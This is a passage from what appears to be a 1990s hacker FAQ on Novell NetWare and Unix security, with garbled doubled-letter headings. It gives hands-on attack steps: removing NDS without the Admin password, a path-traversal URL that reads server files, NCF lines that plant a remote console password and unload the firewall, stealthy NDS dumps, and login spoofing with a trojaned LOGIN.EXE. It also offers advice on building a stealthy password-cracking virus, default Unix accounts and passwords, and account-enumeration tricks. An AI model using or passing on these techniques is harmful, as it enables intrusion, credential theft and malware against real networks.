2222..1188.. WWhheerree ccaann II ggeett tthhee NNeettwwaarree AAPPIIss??
Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user
license of Netware 4.1. Most brand-name compilers will work, but if
you're writing NLMs you'll need Watcom's latest. It's the only one I
know of that will do NLM linking.
2222..1199.. AArree tthheerree aalltteerrnnaattiivveess ttoo NNeettwwaarree''ss AAPPIIss??
There are a few. Here is info on them -
Visual ManageWare by HiTecSoft at (602) 970-1025. This product allows
development of NLMs and DOS EXEs using a Visual Basic type development
environment. Runtime royalty-free development without C/C++ and
without Watcom. However links are included for C/C++ programs. The
full SDK including compilers is USD$895.00. Pricey but looks good, I
have not used this product. Novell recently bought/licensed this
product so the availability may have changed.
Adrian Cunnelly recently made his C libs for Netware free. You can
reach him at adrian@amcsoft.demon.co.uk. These include the source
code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip
And take a look at Greg Miller's site, especially for those Pascal
coders out there at http://www.users.mis.net/ gregmi/.
Pandora v3.0 includes its own API, the Pandora Toolbox API, written by
Jitsu-Disk. While the project was intended for hackers and not admins,
some coders might find it to be a useful package. It is available at
http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html>.
The "GNU Novell Client" project gives a unique insight on the NCP
protocol, it can be downloaded at
http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz
<http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz>.
It has tons of source code included.
2222..2200.. HHooww ccaann II rreemmoovvee NNDDSS??
This one is dangerous. This one will get you your Admin account back
if you lost the password, and is not for the light-hearted if you plan
on actually using NDS afterwards. Do this at a 4.1 console:
LOAD INSTALL -DSREMOVE
Now in the INSTALL module, go ahead and try to remove NDS. As a part
of the process, it will ask you for the Admin password, get this, JUST
MAKE ONE UP. If you get errors, no problem. Keep going and you can
remove NDS from the server. Even though you gave it the wrong
password, it will still let you remove NDS. I told you this one is
real wicked...
2222..2211.. WWhhaatt aarree sseeccuurriittyy ccoonnssiiddeerraattiioonnss rreeggaarrddiinngg ppaarrttiittiioonnss ooff tthhee
ttrreeee??
Most of this is covered as individual items, but here is a bit
regarding partitioning of the tree.
As mentioned in the password section, you can set the bindery context
of a server to help you recover a lost ADMIN password. It should be
noted that you can only access containers in the current servers
partition.
With larger networks things get more complex. For example, a
"supervisor" account (one with full access to the file system) may
have limited access on another server. The number of possible leaks
for intruders grows with the size of the network.
A hacker could exploit this and gain control of other partitions, if
any object in the first partition they have compromised has access
rights to other directory partitions. Intruders could easily give
themselves security equivalence to that object, or change that objects
password with SYSCON, then login as that object and access the other
partitions.
In other words, if a read/write or master partition is stored on one
server, its supervisor can potentially manage all objects in this
partition, and since its supervisor's password can be reset from the
console, other partitions are at risk.
Read/only replicas of partitions by nature will not allow you to set
your bindery context to a container in that area -- they are, duh,
read only. Of course the brave can disconnect the server from the
network, and run DSREPAIR on that server to change the partition to
master, but that's rather extreme.
Novell recommends trying to restrict object rights to their own
partition and to create replica partitions only on trusted server.
Let's use an example to illustrate:
+o Server ACCOUNTING has lots of spreadsheets, documents, and a
database used by the accounting department with all kinds of
information. The container ACCT-USERS has the IRF set so that they
manage themselves.
+o There is an account called MAINTENANCE in the ACCT-USERS container
that the manager of accounting can reset the password. This is done
when the LAN administrators need to perform any kind of
maintenance, such as building IDs with tricky access rights, etc.
that the accounting manager doesn't know how to do.
+o A read/write replica of the partition containing the ACCT-USERS
container exists on a server across town in a small sales office. A
temporary office clerk hired from a local temp agency has access to
the storage closet where this server is kept.
+o One afternoon the temporary uses SETPWD.NLM and resets the
MAINTENANCE account password.
+o The next day (after replication) the temporary rifles through all
accounting documents which include payroll and personal
information, sales forecasts, future plans for capital expenditure,
etc.
2222..2222.. CCaann aa ddeeppaarrttmmeenntt ""SSuuppee"" bbeeccoommee aa rreegguullaarr AAddmmiinn ttoo tthhee eennttiirree
ttrreeee??
Yes, under certain conditions. Here is an example.
+o The tree has an OU called LAWDEPT.
+o The Admin account is at the root of the tree.
+o A departmental supervisor account called FRED is located in LAWDEPT
with Admin rights to the LAWDEPT OU (a Trustee of LAWDEPT and supe
rights to objects and properties).
+o Server LawServer is in the LAWDEPT OU with two bindery contexts,
one in the LAWDEPT OU and one at the root (so Admin can login via
the bindery if needed)
+o Although FRED only has browse at the root, he can run SYSCON and
modify the Admin account to gain more access, like say the
password.
+o If FRED is a psychopath, he can delete the Admin account and render
tree management useless.
2222..2233.. AArree tthheerree pprroodduuccttss ttoo hheellpp iimmpprroovvee NNeettwwaarree''ss sseeccuurriittyy??
While there are a number of products, commercial and shareware/public
domain that have some security-related features, the following
products are either really good or have some unique features.
There is a commercial product called SmartPass, which runs as an NLM.
Once installed, you can load this and analyze existing passwords for
weaknesses. A limited-time free demo can be obtained from the
following address:
http://www.egsoftware.com/ <http://www.egsoftware.com/>
SmartPass will check passwords on the fly, so a user can be forced to
use a non-dictionary word for a password.
Another commercial product product that will check from a dictionary
word list and simply report if the password is on the list is Bindview
NCS. The bindery version is god-awful slow, but completely accurate.
It requires Supe access to run. Bindview can also produce a number of
reports. including customized reports to give you all kinds of info on
the server and its contents. The new Bindview NDS product is even
better. Running as an NLM the password-checking is lightning fast at
spitting out account names that are using poor passwords. It can do
several thousand checks vs. the one-per-couple-of-seconds speed of the
bindery version. You can still use the slow across-the-network method
if you desire, but this is only for those who like slow torture. The
new reporting features are fabulous, and since they can be customized
the wily sys admin can have custom security reports (among other
things).
http://www.bindview.com/ <http://www.bindview.com/>
For doing Auditing on a 3.x version of Netware, try AuditTrack. It
will track all access to a directory or individual file by user, which
can come in handy for seeing who is doing what. Out of the box Netware
3.11 has virtually no way to track what an individual user is doing,
but the AuditTrack NLM helps greatly. E.G. Software, the developer,
can be reached at:
http://www.egsoftware.com/ <http://www.egsoftware.com/>
Intrusion Detection Systems puts out a commercial product called Kane
Security Analyst. It is considered by many to the "SATAN" of Netware.
One of its abilities is locating hidden objects in the NDS tree. For a
good demo, a 30 day trial version, and more info:
http://www.intrusion.com/ <http://www.intrusion.com/>
"SafeWord for Netware Connect" is an NLM that does password checks in
a Netware Connect environment:
http://www.safeword.com/nwcspec.html
<http://www.safeword.com/nwcspec.html>
There is a product called Password Helper that "enhances" the security
around the changing of passwords for 3.x. It is a local EXE/server NLM
product that allows non-Supe users to reset passwords.
Which product is best? Two stand out -- Bindview NDS and Kane Security
Analyst. KSA is more of a security-type product and has some neat
features, but Bindview's customization allows for more details to be
explored. NMRC uses Bindview on its 4.x servers (okay they sent a free
copy, but it is still good and if it had sucked I would have told you
that. My day job uses it too).
2222..2244.. IIss NNeettwwaarree''ss WWeebb sseerrvveerr sseeccuurree??
Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs
(yes you are about to hack a server using Basic!) and several are
included with the server. One in particular, CONVERT.BAS, takes a file
and converts it to HTML and then sends it to the user. Here's an
example for www.target.com:
http://www.netware.nmrc.org/scripts/convert.bas?readme.txt
The README.TXT file is returned as HTML. Now here's the bug:
http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume
Nasty, huh? I recommend "../../system/autoexec.ncf", or
"../../etc/ldremote.ncf". It can also be useful for other things (see
06-2 for an example). This has been fixed in the latest version of
Novell's IntranetWare.
2222..2255.. WWhhaatt''ss tthhee ssttoorryy wwiitthh NNeettwwaarree''ss FFTTPP NNLLMM??
With IntranetWare, the FTP NLM has a couple of problems. The standard
installation gives Read and File Scan access to SYS:ETC so anonymous
users can access files in that directory. This is a problem if you use
INETCFG to configure RCONSOLE and then don't go back and encrypt the
password in the file. The SNMP community password is in this
directory, to say nothing about protocols, addresses, and other
configuration information.
The wily Admin can turn off the rights, but guess what? Doing this
breaks the logging feature.
The other major problem on Netware 4.1 with FTPSERV.NLM is that some
users logging in via FTP are granted excessive rights. Stopping and
starting the NLM seems to put the rights back the way they are
supposed to, but then they seem to come back to FULL rights. Using
Fetch as an FTP client tends to make this happen all of the time.
While it does seem possible that going in and checking effective
rights, checking bindery rights via SYSCON, and checking UNICON might
turn up something, it seems that installed out of the box 4.1 is
vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The
problem? If NFS file space isn't used, certain clients like Fetch and
Cute FTP will end up with Supe rights to the volume.
2222..2266.. CCaann aann IInnttrraanneettWWaarree sseerrvveerr bbee ccoommpprroommiisseedd ffrroomm tthhee IInntteerrnneett??
This is a tricky question, however it is POSSIBLE. I've been working
on the right set of conditions in the lab, and I have got it to
happen. However it involves a LOT of conditions. But these conditions
are not entirely out of the question.
First, variations on the answers outlined in the previous two
questions could be used to gain initial access. For example, if a
poorly constructed CGI script was put in place that allowed write
access to the server and could be redirected, additions could be added
to NCF files.
For example, imagine that a CGI script is in place to add a line of
text to a file, such as a mailing list. If this CGI script could be
redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or
SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines
might include:
UNLOAD REMOTE
LOAD REMOTE HACKPASSWORD
LOAD XCONSOLE
Now simply telnetting to the server, using "hackpassword", and
choosing VT-100 will give you remote console access after the next
reboot.
Can't telnet past that NLM-based firewall? Add the commands to the NCF
file to simply unload it! You can reload it after you've gained
access, if you desire.
Access via Novell's FTP NLM is another problem. If you can gain access
to the server via FTP and get read/write access to the SYS: volume,
you can alter NCF files and open up all kinds of access.
So what kinds of damage can be done? Grab passwords!
If you have gained access via techniques previously described, you can
grab the password file(s). Novell has stated publicly it cannot
happen, yet I have done it in the NMRC lab.
First off, the NDS files are located in the SYS:_NETWARE directory.
You would of course have to gain access to these files. And there are
a couple of ways to do this. You can use the techniques described in
the Netware Console Attack section, which will allow all kinds of
things. But let's say the administrator of the server has removed
NETBASIC, and you can't upload a file like JCMD.NLM. You are not
entirely sunk.
As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made
a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup
file, you need to run the equivalent utility from the console. And it
is very simple.
1. If possible, wait until no one is logged in, as it will be
noticable. During this process no one can log in, although users
already logged in should be okay.
2. UNLOAD CONLOG (duh)
3. LOAD DSMAINT
4. Choose the option to prepare for an upgrade.
5. This process creates a complete backup of NDS and the login
scripts, and puts it in SYS:SYSTEM. The file is called BACKUP.DS.
Use the problem with FTP.NLM to get it, or simply load up FTP.NLM
if it isn't running.
2222..2277.. AArree tthheerree aannyy pprroobblleemmss wwiitthh NNoovveellll''ss GGrroouuppwwiissee??
There is some concern about the ability to proxy another user's
mailbox and calendar with Groupwise version 5.2. This attack seems to
exclude those with admin rights. The hacker is unable to read the
user's files, but he can send email representing the hacker as the
user. NMRC is investigating this issue and will be sure to post the
results.
2222..2288.. AArree tthheerree aannyy pprroobblleemmss wwiitthh NNeettwwaarree''ss MMaacciinnttoosshh nnaammeessppaaccee??
A hacker can make changes to the resource fork files without having
modify rights. If write rights are removed, the files are secure, but
nothing can be added to the directory.
2222..2299.. WWhhaatt''ss tthhee ssttoorryy wwiitthh bbuuffffeerr oovveerrfflloowwss oonn NNeettwwaarree??
Buffer overflows do exist on Netware. Most buffer overflow exploits
try to get the CPU to execute arbitrary code to gain higher levels of
access to a system. Even though Novell says Netware NLMs run in
protected memory and that problems with NLMs should not bother other
NLMs, basically all Netware buffer overflows simply abend the server.
This is the basis for many Denial of Service attacks against Netware.
2233.. NNeettwwaarree MMaatthheemmaattiiccaall//TThheeoorreettiiccaall IInnffoo
This section has information regarding Netware, crypto, math, and
theories regarding all of this.
2233..11.. HHooww ddooeess tthhee wwhhoollee ppaasssswwoorrdd//llooggiinn//eennccrryyppttiioonn tthhiinngg wwoorrkk??
In 3.x and 4.x, passwords are encrypted. Here is the rough way in
which 3.x handles this -
1. Alice sends a login request to the server.
2. The server looks up Alice's name and retreives her UID. The server
also generates a random value R, and sends the (UID,R) pair to
Alice.
3. Alice generates X=hash(UID,password) then Y=hash(R,X). Alice then
sends Y to the server.
4. The server retreives the stored value X'=hash(UID,password), and
computes Y'=hash(X',R). If Y=Y' Alice is granted access.
5. Both Alice and the server compute Z=hash(X,R,c) (c is some constant
value). Z is then used as the signature key for the current
session.
Note: The last step is only done if both Alice and the server agree to
sign packets.
The NetWare 4.x login sequence (4.x uses a private/public key scheme
using RSA):
1. Alice requests a login from the server.
2. The server generates a random value R, and retrieves X'=hash(UID,
password), and also computes Y'=hash(X',R). R is sent to Alice.
3. Alice computes X=hash(UID,password) and Y=hash(X,R). Alice
generates a random value R2, retrieves the servers public key and
sends the pair (Y,R2) to the server encrypted with the server's
public key.
4. The server decrypted the (Y,R2) pair. If Y=Y', the password Alice
gave is correct. The server retrieves Alice's private key, computes
Z=(Alice's private key XOR R2) and transmits Z to Alice.
5. Alice computes private_key=R2 XOR Z. This key is used to sign
packets.
It should be noted that Netware 4.x encrypts Alice's RSA private key
with X' when it's stored on the server.
2233..22.. AArree ""mmaann iinn tthhee mmiiddddllee"" aattttaacckkss ppoossssiibbllee??
In theory, by looking at the methods outlined in the previous
question, there are several possibilities. First, Netware 3.x -
This is a variation of the Man-In-The-Middle attack used to attack
public key cryptosystems. A real MITM attack will also work, but the
link must be shut down in order to implement a MITM attack, and
someone is likely to know something is up.
This attack requires that Bob (the attacker) be capable of sending
packets to both the server and Alice (the user attempting to login)
faster than the server and Alice can send packets to each other. There
are a number of ways to set up this scenario. The best way is to
implement a MITM attack by either by attacking a router, or by
segmenting the wire between the server and Alice.
Another way is to gain two entry points into the network (one close to
Alice, the other close to the server). The best way to do this is to
wire two hosts together in the specified locations. If using wire is
infeasable (which in most cases it will be), Bob can use wireless
network cards, or modems plugged into existing phone jacks, or modems
with cellular capability. If modems are used, the attack will require
Bob to take control of two computers on the network, and will increase
the time needed to get packets to Alice or the server.
This attack will not work if the server requires Alice to sign
packets. Alice's workstation may be set up to sign packets, and Alice
can still use signed packets, and the attack will still work. However,
if all hosts are required to sign packets, the attack won't work. This
is because Bob will never know Alice's password, nor will he ever know
X=hash(UID,password). Since NetWare 3.x defaults to allowing the host
to decide wether or not to sign packets, this attack is still
feasable. Sysadmins can defeat this attack by requiring packet
signatures for all hosts.
The attack:
When Bob sees Alice request a login, Bob also requests a login as
Alice from. The server will generate two random values (R[a] and R[b],
denoting the R sent to Alice and the R sent to Bob respectivley). When
Bob receives R[b], he spoofs the servers address and sends R[b] to
Alice. Alice will think the server requested Alice to compute
Y[b]=hash(X,R[b]) rather than what the server really intended:
Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will
sniff Y[b] from the network as Alice sends it, and transmit it to the
server (using his real address). At this point the server will think
Alice has attempted to login twice. Bob's attempt will work, and
Alice's attempt will fail. If all went well, Bob has assumed the
identity of Alice without knowing her password, and Alice is re-typing
in her password.
If the server won't allow the same user to login twice simultaneously,
or ever aborts both login sequences after retreiving two responses to
the same question, then Bob should saturate a network (but not shut it
down completely) between Alice and the server while Bob is attempting
to login as Alice.
For the ultra paranoid: Bob should be careful, there may be another
attacker, Joe, just waiting for Alice to login with packet signing
turned off. Here Joe can also assume the identity of Alice with
significantly less effort.
Now let's discuss Netware 4.x:
The attack follows the Netware 3.x attack until Alice attempts to
retrieve the server's public key. At this point Bob sends his own
public key to Alice. Alice will then send the server the pair (Y,R2)
encrypted with Bob's public key. Bob sniffs this information off the
network, decrypts the pair (Y,R2). Then generates his own R2 (or
keeps the one Alice chose), retreives the real public key of the
server and sends the server the pair (Y,R2) encrypted with the
server's real public key.
If server the is requiring packet signature, the server will then send
Bob Z to allow him access as Alice. Bob doesn't know Alice's private
key, as he never receives it. Remember that Netware 4.x encrypts
Alice's RSA private key with X' when it's stored on the server, and is
never send unencrypted on the wire. So Bob can't sign packets as
Alice.
But Bob is not completely out of luck yet. Bob can try an offline
attack at guessing Alice's password since he knows Y', R and Alice's
UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's
likely that Alice's password in not a particularly good one, this is a
severe reduction in security, but not a total breach, since Bob can
compute X by finding a password such that X=hash(pass,UID). Once Bob
knows X, he can determine what Alice's private RSA key is. THEN he can
sign packets.
It should be noted that Alice may cache the server's public key for
the second login attempt. If this is true, Alice won't be able to
login and may notice what has happened. But Alice's private RSA key
will never change, and once that is attained is doesn't matter even if
Alice changes her password. Alice's password can still be discovered.
2233..33.. AArree NNeettwwaarree--aawwaarree vviirruusseess ppoossssiibbllee??
A NetWare aware virus could allow an attacker to gain access to a
large number of servers available on the network.
Using one of the strategies used by the Internet Worm of 1988 combined
with simple virus strategy, a virus can be constructed to infect many
clients/servers across many networks (the virus could also employ
attacks similiar to HACK.EXE or even Man-In-The_Middle attacks). Some
NetWare networks will have a large number of servers attached. It's
also true that most users (including Supe and Admin) will use the same
password on many different servers (some may have no password at all).
A virus could exploit this vulnerability and spread to other servers
which it otherwise would not have access to. The virus could also use
the idle CPU time on infected clients to crack the passwords of other
users.
However, care must be taken not to give the virus away by setting off
intruder detection alarms. The virus should randomly select one user
from a randomly selected server attempt to login using a randomly
selected word from a wordlist. How often the client should attempt
logins depends upon the size of the network (remember that if the
virus succeeds, there may be 10s of thousands of clients breaking
passwords in parrallel).
The virus should estimate the size of the network, and use laws of
probibility to determine how often to attempt a break in so that no
account is tried twice in the same hour. This should be calculated by
relating the number of unique accounts, the number of clients
(estimated by monitoring network traffic and assuming all servers have
the same number of clients on their network. While this is not 100%
accurate, this should be accurate enough for our purposes.
Some the estimated success rate of the virus (measured in propagation
delay for infecting hosts per day from a single host), and the length
of time the virus has been running should be considered. Using
A=number of unique accounts, P = propagation delay, and n = number of
days virus has been running, then the following computes the number of
guesses the client should make per hour: (A*24)/(P^n).
What should or could this virus do? Well, if it is running on a
workstation with a network card, we could sniff logins. Since R and
hash(X,R) are sent in the clear, the virus could attempt an offline
computational attack against X, thus avoiding a brute force attack
that could trigger intruder detection. The virus can't use the MITM
attacks on the login sequence because it doesn't have the required
wiring topology neccessary to implement the attack. Yes, you COULD try
and build that in but then it probably would be too big and
noticeable. Remember, we're talking virus, not stand-alone
application.
2233..44.. CCaann aa ttrroojjaanneedd LLOOGGIINN..EEXXEE bbee iinnsseerrtteedd dduurriinngg tthhee llooggiinn pprroocceessss??
Apparently so.
Here is a different perspective of the login sequence which is common
to all versions of NetWare:
1. The workstation attaches to the server.
2. The workstation maps a drive to the server's SYS:\LOGIN directory.
3. The workstation downloads LOGIN.EXE from the server and executes
it.
4. If the user is authenticated, the workstation downloads and
executes the login script.
The hole in this protocol is when the workstation downloads LOGIN.EXE.
Since the user isn't logged in, there is no packet signing available,
thus any workstation is capable of impersonating the server. Here the
attacker can simply sniff the request to download LOGIN.EXE from the
network, and then send the workstation ANY program in return and the
workstation will execute it.
The optimal attack here would be to send a modified copy of the real
LOGIN.EXE file. The modified EXE could encrypt the user's password
(using public key crypto) and broadcast it to the network. However,
the modified EXE could also carry out the login handshake as normal
and log the user in and executing the login script. With this attack,
the target user would have no way of identifying that anything out of
the ordinary has happened. It appears that NetWare always starts with
the sequence numbers at 0 and increments seq + 1 from there for the
remainder of the session. Thus it's possible to predict the sequence
numbers. This will allow the attacker to exploit the hole without
using a MITM attack and still allow the conversation to continue
normally by using only a single workstation.
The attack can also be carried out by any single host on the network
which is capable of sniffing the request to download LOGIN.EXE. It's
also possible to do this even if the workstation and the server are on
the same network (if and only if the server is slower responding to
requests than the attacker's machine). Here the attacker just makes up
the sequence numbers, and sends the workstation a phony LOGIN.EXE
which will broadcast the user's password (again, encrypted) over the
network and then re-boot the machine. (It's also possible for the
attacker to log the user in and have the attack transperent to the
user. In this case, the attacker would have to sniff one of the
server's packets off the network, and re-send it to the workstation
with adjusted sequence numbers so that the workstation's next ACK will
synch with the server's sequence numbers. Note that the attacker will
have to artificially ACK the packets the server sends when the client
tries to download LOGIN.EXE.)
It's been stated that only the first few bytes of NetWare packets are
signed. That means the user can not only modify LOGIN.EXE on the fly,
but can modify any program on the fly.
Let's put this into a more proper perspective. The exploit program
would take the MAC address of an admin/supe person as a parameter,
wait for the user to attempt to login, exploit the host, and exit. If
the attacker didn't want to take the effort to allow the conversation
to continue, s/he could make the exploit program re-boot the host
automatically after broadcasting the password over the network (once
again, encrypted and intended for the attacker).
Obviously we don't need to exploit a large range of hosts, only the
ones with LAN admins logging in. This would typically be a small
subset of machines (which quite possibly normal users wouldn't have
access to in order to prevent the use of keyboard capture routines).
So all the attacker needs to do is exploit the host where the Admin-
equiv logs in.
The idea came from an already known hole in NFS for UNIX (it's
exploited exactly the same way). But NetWare is supposed to avoid this
hole through the use of packet signatures. It obviously didn't. The
exploit for this hole would really not be much different than the code
for HACK.EXE which uses the same principles.
Of course, this hole allows anyone to execute any arbitrary program on
any host. So the possibilities are only limited to your imagination,
especially if you start combining the techniques from section 11. A
virus that did the LOGIN.EXE spoof that left code to decypher the
private key of each workstation comes leaping to mind...
Now the MITM attack isn't required to take advantage of any part of
this attack. It would be if the attacker couldn't predict the server's
and the user's sequence numbers. This has the following effects:
1. The attacker doesn't need to sniff one of the server's packets off
the network to resynchronize the sequence numbers.
2. The attacker doesn't need to artifically ACK the server's
responses.
3. The MITM attack isn't needed to modify a program on the fly. Any
single workstation can implement the attack.
2233..55.. IIss aannyytthhiinngg ""vvuullnneerraabbllee"" dduurriinngg aa ppaasssswwoorrdd cchhaannggee??
Netware 3.x does not use the public key crypto stuff that Netware 4.x
uses, so to transmit a password across the wire during a password
change it has to be encrypted with something. The new password is
encrypted with the previous password. However if the previous password
is blank (i.e. new account) the "key" to encrypt with might as well be
plaintext.
2233..66.. IIss ""ddaattaa ddiiddddlliinngg"" ppoossssiibbllee??
Novell's data validation scheme involves packet signature and a
checksum. However since a checksum includes the packet signature, IN
THEORY it is possible to use this info in combination with another
problem to diddle data.
The other problem involves the fact that packet signature only uses
the first 52 bytes of the data portion, which means any data from byte
89 and on could be altered, a new checksum generated, and the packet
would now have a valid signature AND checksum, but altered data.
Of course, this assumes an attacker could write code that could do
something interesting beyond byte 89 AND generate a checksum AND
retransmit the forged packet AND beat the real packet to its
destination.
Assuming checksums could be predetermined, especially if you are
looking for a specific source and target address and type of packet,
it could be done.
2244.. UUnniixx AAccccoouunnttss
The following section deals with Accounts on Unix systems.
2244..11.. WWhhaatt aarree ccoommmmoonn aaccccoouunnttss aanndd ppaasssswwoorrddss ffoorr UUnniixx??
All Unix systems have an account called root. This account is also
commonly known as the SuperUser. Actually any account with a UID and
GID of zero could be considered a SuperUser account. It is possible
that a system administrator will rename the root account for
obfuscation, but this is rather impractical as many applications not
only require the UID zero but actually require the name of the account
be "root" to run certain functions. As administrators do not wish to
create more problem or have to patch more code than neccessary, this
is a rare occurence.
Oh, and unless you've being living under a rock, you should already
know that root is god on Unix.
Here are a few other accounts and passwords (if known) commonly found
on Unix systems:
System Account Password Purpose
-------- --------- -------- -----------------------------------------
Some guest (none) Guest access
Some demo (none) Demo access
Some games (none) Play games
Some nuucp (none) UUCP access
Some daemon (none) Typically invalid for direct access
Some bin (none) Typically invalid for direct access
Some man (none) Typically invalid for direct access
Some lpd (none) Typically invalid for direct access
Some sys (none) Typically invalid for direct access
Some nobody (none) Typically invalid for direct access
Some ftp (none) Anon FTP access, use email address as password
AIX guest guest Guest access
NeXT root NeXT god (default password on shipped systems)
NeXT signa signa Guest account
NeXT me (none) Not seen on all systems
SGI/Irix 4DGifts (none)
SGI/Irix lp (none)
SGI/Irix tour (none)
SGI/Irix tutor (none)
SGI/Irix demos (none)
2244..22.. HHooww ccaann II ffiigguurree oouutt vvaalliidd aaccccoouunntt nnaammeess ffoorr UUnniixx??
Remotely you have a few things you can try. Here are a few
suggestions:
ffiinnggeerr
By typing in finger @targethost you get get users that are
currently logged in. This will give you a few account. Also by
typing finger account@targethost you can determine if that
account is valid, and possibly the last time it has been
accessed. Unfortunately most Unix systems refuse finger requests
from remote hosts, so this usually doesn't do you a lot of good.
But if finger is allowed, it can return a lot of information.
Try running finger with a -l for more verbose listings. If you
gain local access, use finger account to get info on other
accounts on the system. For example, if finger root returns info
about an administrator named Fred, then finger fred, which may
reveil Fred's regular account.
rruusseerrss
You can run rusers targethost which may return remote user info
if the service is allowed.
wwhhooiiss
Doing a whois domain will return info about who is responsible
for a domain, and usually included a valid account name. You can
use this to possibly determine other account names, and odds are
very good that the administrative contact and/or the technical
contact have the system privileges you desire.
mmaaiill
Often by telnetting to the mail server and trying to verify or
expand names you can learn account names. By typing telnet
targethost 25 and typing in EXPN account or VRFY account will
tell you if that account is valid. You may have to type in HELO
or some other commands before you can do an EXPN or VRFY.
A lot of administrators are aware of the above techniques, and will
often treat these probes as attacks themselves. Many sites refuse
finger and ruser accesses, and a lot of sites have configured their
mailer to either not respond to VRFY and EXPN or simply return nothing
of value. Odds are good that sites that refuse these types of probes
are usually logging these types of probes, so you may wish to probe
from one location and attack from another.
If you can gain access locally, such as through a guest account, there
are a number of things you can do to view possible account names. Try
using some of the finger techniques from above minus the targethost,
try typing w or who or even more /etc/passwd to get account names.
2255.. UUnniixx PPaasssswwoorrddss
This section deals with Unix passwords.
2255..11.. HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn UUnniixx??
The password file for Unix is located in /etc and is a text file
called passwd. By default and by design this file is world readable
by anyone on the system. On a Unix system using NIS/yp or password
shadowing the password data may be located elsewhere.
2255..22.. WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh UUnniixx ppaasssswwoorrddss??
Okay first off let's cover the structure of the password file.
An entry in the password file consists of seven colon delimited
fields:
nomad:HrLNrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash
This is what the fields actually are:
nomad - Account or user name, what you type in at the login prompt
HrLNrZ3VS3TF2 - One way encrypted password (plus any aging info)
501 - User number
100 - Group number
Simple Nomad - GECOS information
/home/nomad - Home directory
/bin/bash - Program to run on login, usually a shell
The password field contains, yes, a one way encrypted password. This
means that it is practically impossible to decrypt the encrypted
password. The password field consists of 13 characters - the first two
characters are the "salt" and the remainder is the actual hash.
When you log in with your account name and password, the password is
encrypted and the resulting hash is compared to the hash stored in the
password file. If they are equal, the system accepts that you've
typed in the correct password and grants you access.
To prevent crackers from simply encrypting an entire dictionary and
simply looking up the hash, the salt was added to the algorithm to
create a possible 4096 different conceivable hashes for a particular
password. This lengthens the cracking time because it becomes a little
harder to store an encrypted dictionary online as the encrypted
dictionary now would have to take up 4096 times the disk space. This
does not make password cracking harder, just more time consuming.
Unix passwords allow mixed case, numbers, and symbols. Typically the
maximum password length on a standard Unix system is 8 characters,
although some systems (or system enhancements) allow up to 16
characters.
2255..33.. HHooww ddooeess bbrruuttee ffoorrccee ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh UUnniixx??
Brute force password cracking is simply trying a password of A with
the given salt, folowing by B, C, and on and on until every possible
character combination is tried. It is very time consuming, but given
enough time brute force cracking WILL get the password.
There are a few brute force crackers out there for Unix passwords. Any
brute force cracker will do -- I personally don't believe in using
them as there are other ways to circumvent security than trying a
brute force crack on the root password.
2255..44.. HHooww ddooeess ddiiccttiioonnaarryy ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh UUnniixx??
Dictionary password cracking is the most popular method for cracking
Unix passwords. The cracking program will take a word list, and one at
a time try to crack one or all of the passwords listed in the password
file. Some password crackers will filter and/or mutate the words as
they try them, such as substitute numbers for certain letters, add
prefixes or suffixes, or switch case or order of letters.
The most popular cracking utility is probably Alex Muffet's program
that is simply called crack. Crack can be configured by an
administrator to periodically run and automagically mail a nastygram
to a user with a weak password, or ran in manual mode. Crack can also
be configured to run across multiple systems and to use user-definable
rules for word manipulate/mutation to maximize dictionary
effectiveness -- very flexible. However it is probably too much
program for the novice script kiddie.
Another popular favorite is John the Ripper, based off of the popular
DOS-based Jack the Ripper. Jack had a number of easy-to-use features,
and Solar Designer took Jack's interface and developed John. To make
things even better, Solar added Crack-like rules, and made sure the
code would run on DOS or Unix. Either one is recommended. If you're
going to be cracking on a DOS-based machine, use John the Ripper,
otherwise either one is fine for Unix (the jury is still out on which
one is best for Unix, it really depends on which one you are used to
using).
2255..55.. HHooww ddooeess aa SSyyss AAddmmiinn eennffoorrccee bbeetttteerr ppaasssswwoorrddss aanndd ppaasssswwoorrdd mmaann--
aaggeemmeenntt??
There are several techniques that a Sys Admin might employ to force
users to use better passwords, and several different packages that
could be loaded and configured onto most Unix systems to better secure
the passwords.
One of the first techniques is to enforce password aging. While this
varies from system to system, basically password aging states that you
can "expire" a password. That way you can force a user to have to
change his password periodically. The security advantage is that if
the user changes their password every 30 days, that stolen password
file is obsolete after a month (in theory, see the next question).
This alone is not real security unless it is used in conjunction with
other password techniques.
Some systems allow a minimal password length to be specified, certain
dictionary words to be disallowed, or even disallow perceived
"crackable" passwords. This in combination with password aging can
help ensure that a user's password is probably going to be aged and
therefore changed before it can be cracked.
Another very popular technique is called password "shadowing". This
alters the password file entry slightly:
nomad:!:501:100:Simple Nomad:/home/nomad:/bin/bash
Note the ! token in place of the one way encrypted password. This
means that the password is located in a different file, typically
called the shadow file. You will also find a * token on some shadow
password implementations. On many Unix systems the password file is
still located in /etc but called shadow, some systems even place the
shadow in a different directory. Here is a chart that lists a few
systems, the location of the shadow, and the token.
System Shadow Token
--------------- ----------------------------- ----------
AIX /etc/security/passwd !
BSD /etc/master.passwd *
DG/UX /etc/tcb/aa/user/ *
HP-UX /.secure/etc/passwd *
IRIX /etc/shadow x
Linux /etc/shadow *
SCO /tcb/auth/files/[first letter *
of username]/[username]
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.x /etc/shadow ##username
[optional NIS+ private
secure maps/tables]
System V < 4.2 /etc/shadow x
System V >= 4.2 /etc/security/* database x
Depending on the system and implementation, an encrypted password may
still be allowed in the password field, and lack of ANYTHING in the
field implies lack of a password for that account. Some systems (AIX
